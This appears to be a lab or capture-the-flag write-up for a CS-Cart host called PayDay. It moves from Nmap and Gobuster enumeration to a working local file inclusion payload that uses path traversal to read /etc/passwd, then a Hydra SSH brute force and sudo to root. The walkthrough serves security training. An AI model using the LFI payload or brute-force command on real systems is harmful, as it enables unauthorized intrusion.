Nmap

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
| ssh-hostkey: 
|   1024 f3:6e:87:04:ea:2d:b3:60:ff:42:ad:26:67:17:94:d5 (DSA)
|_  2048 bb:03:ce:ed:13:f1:9a:9e:36:03:e2:af:ca:b2:35:04 (RSA)
80/tcp  open  http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
|_http-title: CS-Cart. Powerful PHP shopping cart software
|_http-server-header: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6
110/tcp open  pop3        Dovecot pop3d
| ssl-cert: Subject: commonName=ubuntu01/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2008-04-25T02:02:48
|_Not valid after:  2008-05-25T02:02:48
|_pop3-capabilities: TOP SASL RESP-CODES CAPA PIPELINING STLS UIDL
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
|_ssl-date: 2026-08-06T00:37:00+00:00; +6s from scanner time.
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
143/tcp open  imap        Dovecot imapd
|_ssl-date: 2026-08-06T00:37:01+00:00; +7s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
| ssl-cert: Subject: commonName=ubuntu01/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2008-04-25T02:02:48
|_Not valid after:  2008-05-25T02:02:48
|_imap-capabilities: LOGINDISABLEDA0001 Capability OK CHILDREN completed NAMESPACE LITERAL+ LOGIN-REFERRALS STARTTLS SASL-IR SORT MULTIAPPEND THREAD=REFERENCES IDLE UNSELECT IMAP4rev1
445/tcp open  netbios-ssn Samba smbd 3.0.26a (workgroup: MSHOME)
993/tcp open  ssl/imap    Dovecot imapd
|_ssl-date: 2026-08-06T00:37:00+00:00; +6s from scanner time.
| ssl-cert: Subject: commonName=ubuntu01/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2008-04-25T02:02:48
|_Not valid after:  2008-05-25T02:02:48
|_imap-capabilities: OK Capability CHILDREN completed NAMESPACE LITERAL+ AUTH=PLAINA0001 LOGIN-REFERRALS SASL-IR SORT MULTIAPPEND THREAD=REFERENCES IDLE UNSELECT IMAP4rev1
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
995/tcp open  ssl/pop3    Dovecot pop3d
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
|_pop3-capabilities: TOP SASL(PLAIN) RESP-CODES CAPA PIPELINING USER UIDL
| ssl-cert: Subject: commonName=ubuntu01/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2008-04-25T02:02:48
|_Not valid after:  2008-05-25T02:02:48
|_ssl-date: 2026-08-06T00:37:00+00:00; +6s from scanner time.

Enumeration

There is a site on port 80 with a login feature.
SMB Ports 139 and 445 are open, no accessible shares.

Gobuster:

===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images               (Status: 301) [Size: 335] [--> http://192.168.172.39/images/]
index                (Status: 200) [Size: 28074]
index.php            (Status: 200) [Size: 28074]
image                (Status: 200) [Size: 1971]
image.php            (Status: 200) [Size: 1971]
catalog              (Status: 301) [Size: 336] [--> http://192.168.172.39/catalog/]
admin.php            (Status: 200) [Size: 9483]
admin                (Status: 200) [Size: 9483]
skins                (Status: 301) [Size: 334] [--> http://192.168.172.39/skins/]
core                 (Status: 301) [Size: 333] [--> http://192.168.172.39/core/]
install              (Status: 200) [Size: 7731]
install.php          (Status: 200) [Size: 7731]
[ERROR] error on word radio.aspx: timeout occurred during the request
include              (Status: 301) [Size: 336] [--> http://192.168.172.39/include/]
classes              (Status: 301) [Size: 336] [--> http://192.168.172.39/classes/]
config               (Status: 200) [Size: 13]
config.php           (Status: 200) [Size: 13]
Progress: 9921 / 350652 (2.83%)[ERROR] error on word washington.txt: timeout occurred during the request
addons               (Status: 301) [Size: 335] [--> http://192.168.172.39/addons/]
chart.php            (Status: 200) [Size: 0]
chart                (Status: 200) [Size: 0]
var                  (Status: 301) [Size: 332] [--> http://192.168.172.39/var/]
Progress: 22574 / 350652 (6.44%)[ERROR] error on word nutrition: timeout occurred during the request
payments             (Status: 301) [Size: 337] [--> http://192.168.172.39/payments/]
Progress: 29224 / 350652 (8.33%)[ERROR] error on word 1960.aspx: timeout occurred during the request
init                 (Status: 200) [Size: 13]
init.php             (Status: 200) [Size: 13]
prepare              (Status: 200) [Size: 0]
prepare.php          (Status: 200) [Size: 0]

/admin is of note. There is an admin login page. Going to the reset password page lets us enumerate users since error messages for an existent user is different from that of a non-existent user. The admin user exists. I tried bruteforcing the login page but I think it’s not going to work.

I looked and there is a LFI vulnerability that we can use to view /etc/passwd among other things.

Exploitation

http://192.168.172.39/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh dhcp:x:100:101::/nonexistent:/bin/false syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false dovecot:x:104:111:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false postfix:x:105:112::/var/spool/postfix:/bin/false sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin patrick:x:1000:1000:patrick,,,:/home/patrick:/bin/bas

I looked (once again), and they want us to bruteforce SSH. Patrick would be a good candidate.

┌──(kali㉿kali)-[~/Machines/PayDay]
└─$ hydra -l patrick -P /usr/share/wordlists/rockyou.txt ssh://192.168.172.39

Note: Had to change ssh compatibility mode to wide with sudo kali-tweaks

[DATA] attacking ssh://192.168.172.39:22/
[22][ssh] host: 192.168.172.39   login: patrick   password: patrick
1 of 1 target successfully completed, 1 valid password found

We grab local.txt

patrick@payday:~$ cat local.txt 
8f3b1d18a5f2741bfa16f27fc32c8dfd

Privilege Escalation

sudo -l shows

User patrick may run the following commands on this host:
    (ALL) ALL

So we can just sudo su and we’re root.

root@payday:~# cat proof.txt 
db35eb1c4a3f35abb2e6e7ab44575dd8